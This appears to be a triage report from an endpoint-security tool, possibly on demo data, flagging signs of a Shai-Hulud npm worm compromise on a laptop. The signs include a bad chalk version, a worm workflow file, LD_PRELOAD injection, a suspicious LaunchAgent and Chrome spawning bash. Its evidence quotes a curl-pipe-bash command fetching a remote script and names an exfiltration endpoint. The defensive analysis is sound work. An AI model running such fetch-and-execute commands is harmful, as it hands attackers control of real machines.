demo-laptop has converging evidence of active compromise. A lockfile in /Users/analyst/code/frontend pins chalk@5.6.1, a known-bad version of the Shai-Hulud npm worm campaign, and the worm's signature workflow file (shai-hulud-workflow.yml) is present alongside it. A bash process spawned by Chrome is curl-piping a remote script into a shell. Outbound traffic from that shell terminates at 185.220.101.46, an IP currently listed in abuse.ch ThreatFox. LD_PRELOAD is set to a path under /tmp, which would inject an attacker-controlled library into every newly-launched process. A LaunchAgent references a binary under /Users/Shared/.cache/. Either the host has been compromised, or this is an extremely well-staged false positive.
If compromised: Treat as a confirmed worm-driven supply-chain compromise. Assume credential theft has occurred. Rotate every secret in scope before reconnecting to the network.
Attribution hint: Shai-Hulud npm worm (community-attributed; multi-actor)
Established connection to 185.220.101.46:443 matches a live ThreatFox indicator. Treat as confirmed command-and-control infrastructure.
{
"ip": "185.220.101.46",
"raddr": [
"185.220.101.46",
443
]
}Project /Users/analyst/code/frontend has compromised npm package chalk@5.6.1 in its lockfile. This package version is listed as part of the Shai-Hulud npm worm campaign. Treat the host as potentially compromised: rotate tokens, audit recent `npm publish` activity, and inspect for the worm workflow file.
confirmed_malicious (confidence , reassessed severity critical)
chalk@5.6.1 lockfile entry matches the Shai-Hulud worm; rotate tokens immediately
Observed: package-lock.json pins chalk@5.6.1, a version on the Shai-Hulud compromised-package list (multiple corroborating sources: Aikido, StepSecurity, Socket.dev). Inferred: any `npm install` that ran in this project may have executed the worm's post-install script, which exfiltrates env-var secrets to webhook.site and attempts to self-propagate by publishing malicious versions of the user's own packages.
Attribution hint: Shai-Hulud npm worm campaign (multi-actor, first wave Sep 2025)
{
"package": "chalk@5.6.1",
"project": "/Users/analyst/code/frontend"
}GitHub Actions workflow file matches the worm's filename signature and references the canonical webhook.site exfil endpoint. This is the self-propagation vehicle of the Shai-Hulud worm.
{
"bad_name": true,
"markers": [
"shai-hulud",
"webhook.site"
],
"path": "/Users/analyst/code/frontend/.github/workflows/shai-hulud-workflow.yml"
}LD_PRELOAD is set to '/tmp/.X11-unix/.libtelemetry.so'. This forces the dynamic linker to load an attacker-controlled library into every spawned process. Almost never legitimate on user desktops.
{
"value": "/tmp/.X11-unix/.libtelemetry.so",
"var": "LD_PRELOAD"
}LaunchAgent com.example.helper executes /Users/Shared/.cache/helper as a daemon. Persistence entries should not reference world-shared scratch space.
{
"match": "/Users/Shared/",
"subject": "launchd:/Users/analyst/Library/LaunchAgents/com.example.helper.plist"
}PID 2204 (bash) was spawned by browser process Google Chrome. Browsers should not parent shells; this is characteristic of post-exploitation via a malicious extension or compromised renderer.
likely_malicious (confidence , reassessed severity high)
Chrome→bash with curl|bash pattern strongly suggests post-exploitation through a renderer or extension
Observed: bash process with parent PID 1487 (Google Chrome) and a command line that pipes a remote-downloaded shell script directly into bash. Browsers do not legitimately spawn interactive shells; the curl|bash pattern is a textbook dropper. Inferred: post-exploitation via a malicious extension or a compromised renderer tab. Source reliability is high (deterministic OS API); information credibility is moderate pending corroboration with browser-extension audit.
{
"cmdline": "/bin/bash -c 'curl -fsSL https://wbn.example.io/install.sh | bash'",
"pid": 2204,
"ppid": 1487
}Established connection to public address 185.220.101.46:443 from PID 2204 (bash).
{
"pid": 2204,
"raddr": [
"185.220.101.46",
443
]
}